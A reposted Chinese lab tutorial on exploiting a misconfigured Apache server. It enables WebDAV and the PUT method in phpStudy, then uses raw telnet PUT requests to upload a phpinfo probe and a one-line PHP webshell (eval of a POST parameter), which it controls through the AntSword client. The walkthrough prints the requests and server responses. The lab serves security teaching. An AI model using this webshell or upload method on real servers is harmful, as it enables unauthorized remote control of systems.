700字范文,内容丰富有趣,生活中的好帮手!
700字范文 > 【文件上传漏洞-02】利用PUT方法上传文件—以Apache为例

【文件上传漏洞-02】利用PUT方法上传文件—以Apache为例

时间:2022-05-05 19:41:47

相关推荐

【文件上传漏洞-02】利用PUT方法上传文件—以Apache为例

目录

1 http协议请求方法概述2 Apache开启PUT请求方法的过程2.1 实验环境2.3 查询已开启的请求类型2.3 开启put方法3 文件上传漏洞利用3.1 上传PHP探针3.2 上传WebShell4 总结参考文章

1 http协议请求方法概述

具体http/https协议及通信过程可以参考文章《【基础协议】HTTP/HTTPS协议及其工作流程》

常见的请求方法及概述

GET:向特定的资源发出请求。POST:向指定资源提交数据进行处理请求(例如提交表单或者上传文件)。数据被包含在请求体中。POST请求可能会导致新的资源的创建和/或已有资源的修改。HEAD:向服务器索要与GET请求相一致的响应,只不过响应体将不会被返回。这一方法可以在不必传输整个响应内容的情况下,就可以获取包含在响应消息头中的元信息。PUT:向指定资源位置上传其最新内容。DELETE:从服务器上删除资源。需要把要删除的资源的ID上传给服务器。OPTIONS:返回服务器针对特定资源所支持的HTTP请求方法。也可利用向Web服务器发送’*'的请求来测试服务器的功能性。

TRACE:回显服务器收到的请求,主要用于测试或诊断。

CONNECT:HTTP/1.1协议中预留给能够将连接改为管道方式的代理服务器。

PUT请求方法

详细作用:通常用于向服务器发送请求,如果URI不存在,则要求服务器根据请求创建资源,如果存在,服务器就接受请求内容,并修改URI资源的原始版本。POST和PUT的请求根本区别:POST请求的URI表示处理该封闭实体的资源,该资源可能是个数据接收过程、某种协议的网关、或者接收注解的独立实体。然而,PUT请求中的URI表示请求中封闭的实体-用户代理知道URI的目标,并且服务器无法将请求应用到其他资源。如果服务器希望该请求应用到另一个URI,就必须发送一个301响应;用户代理可通过自己的判断来决定是否转发该请求。

2 Apache开启PUT请求方法的过程

2.1 实验环境

服务器:win部署WAMP环境,开启phpstudy,IP地址172.16.1.1。win部署WAMP环境可参考《【语言环境】WAMP环境部署及优化—以winR2SP1为操作系统》

操作机:kali系统,以远程访问服务器80端口的方式来控制。

服务器与操作机属于同意局域网

2.3 查询已开启的请求类型

(1)打开kali系统终端,以root身份输入命令telnet 172.16.1.1 80,来连接服务。执行过程如下,如果无法连接请查看服务器是否开启telnet服务。

(2)输入以下命令,注意符号应该都是在英文状态下输入。输入后连续按两次回车键。

OPTIONS / HTTP/1.1HOST:172.16.1.1

(3)在回显内容中,没有看到我们想要的Allow项目的内容,而是出现了X-Powered-by,同时后面显示出网站默认首页的一些其他内容。对此,我们猜测是默认首页的存在对该语句的执行产生了影响。

(4)我们将原来默认首页index.php文件名修改为index1.php,来避免该影响。不知道是不是真的有影响,不过这样子确实能查询到想要的内容。

(5)再次通过telnet发送http请求命令,并按两次回车,回显内容如下,可以看到有Allow项,表示Apache现在已经开启的请求类型,暂时还没有PUT和DELETE。

2.3 开启put方法

(1)开启Dav模块。在服务器上,找到目录 C:\phpStudy\PHPTutorial\Apache\conf(一些旧版本的phpstudy环境下目录是C:\phpStudy\Apache\conf)下的文件httpd.conf。打开该文件,可以以记事本运行或其他编译器运行,将下面两行的注释符去掉,开启这两个模块。

(2)调用DAV模块。在该文件的第230行,新增一行。

(3)开启文件锁。在该文件的第一行新增一行:DavLockDB c:\phpstudy\PHPTutorial\www\DavLock具体路径根据WWW目录所在文件夹路径确定。保存文件并关闭。

(4)在WWW文件夹下,新建文件并命名为DavLock,无需后缀。

(5)重启phpstudy。

(6)在kali系统上再次查询已开启的请求类型。开启了这些就可以实现PUT功能,没有具体将名称显示出来不知道是不是

3 文件上传漏洞利用

3.1 上传PHP探针

(1)先输入命令telnet 172.16.1.1 80连上虚拟机后,前三行代码可以复制,但在输空行及Content-Length: 18时要手打,由于复制空行时可能会多打一些字符。注意,输入空行时的两次回车,不要连按,中间稍微停顿间隔一下。

PUT /info.php HTTP/1.1HOST: 172.16.1.1Content-Length: 18<?php phpinfo();?>

(2)执行过程如下,可以看到响应号为201,成功上传该文件。

──(root💀kali)-[~]└─# telnet 172.16.1.1 80 1 ⨯Trying 172.16.1.1...Connected to 172.16.1.1.Escape character is '^]'.PUT /info.php HTTP/1.1HOST: 172.16.1.1Content-Length: 18<?php phpinfo();?>HTTP/1.1 201 CreatedDate: Sat, 21 May 15:23:21 GMTServer: Apache/2.4.23 (Win32) OpenSSL/1.0.2j PHP/5.4.45Location: http://172.16.1.1/info.phpContent-Length: 181Content-Type: text/html; charset=ISO-8859-1<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>201 Created</title></head><body><h1>Created</h1><p>Resource /info.php has been created.</p></body></html>Connection closed by foreign host.

(3)利用浏览器尝试访问上传的文件,可以证明文件已上传成功。

3.2 上传WebShell

(1)与上面上传文件类代码手动输入如下:

PUT /xiaoma.php HTTP/1.1HOST: 172.16.1.1Content-Length: 28<?php @eval($_POST['QQ']);?>

执行过程为:

──(root💀kali)-[~]└─# telnet 172.16.1.1 80Trying 172.16.1.1...Connected to 172.16.1.1.Escape character is '^]'.PUT /xiaoma.php HTTP/1.1HOST: 172.16.1.1Content-Length: 28<?php @eval($_POST['QQ']);?>HTTP/1.1 201 CreatedDate: Sat, 21 May 15:53:35 GMTServer: Apache/2.4.23 (Win32) OpenSSL/1.0.2j PHP/5.4.45Location: http://172.16.1.1/xiaoma.phpContent-Length: 183Content-Type: text/html; charset=ISO-8859-1<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>201 Created</title></head><body><h1>Created</h1><p>Resource /xiaoma.php has been created.</p></body></html>Connection closed by foreign host.

(2)蚁剑添加数据。在真实机上,打开蚁剑软件,在工作界面空白处单击「鼠标右键」,弹出菜单,选择 「添加数据」。

(3)填写数据对应参数。在添加数据页面输入以下参数,其中星标的是必填项,URL是靶机刚刚添加文件的路径,密码(即变量)是该文件中语句的密码。填写完毕后点击“添加”。

(4)蚁剑界面上将显示刚刚建立的后门。

(5)双击进入,可以看到管理界面就像本机文件管理器一样;或者选中刚刚建立的后门,右键后可以看到其主要的功能。

4 总结

(1)复习http协议中的各种请求方法及其作用;

(2)掌握Apache上PUT方法的查询与设置;

(3)掌握后台不合理配置时对文件上传漏洞的利用方法。

参考文章

[1]《上传文件之PUT方法上传(服务器配置不当)》

本内容不代表本网观点和政治立场,如有侵犯你的权益请联系我们处理。
网友评论
网友评论仅供其表达个人看法,并不表明网站立场。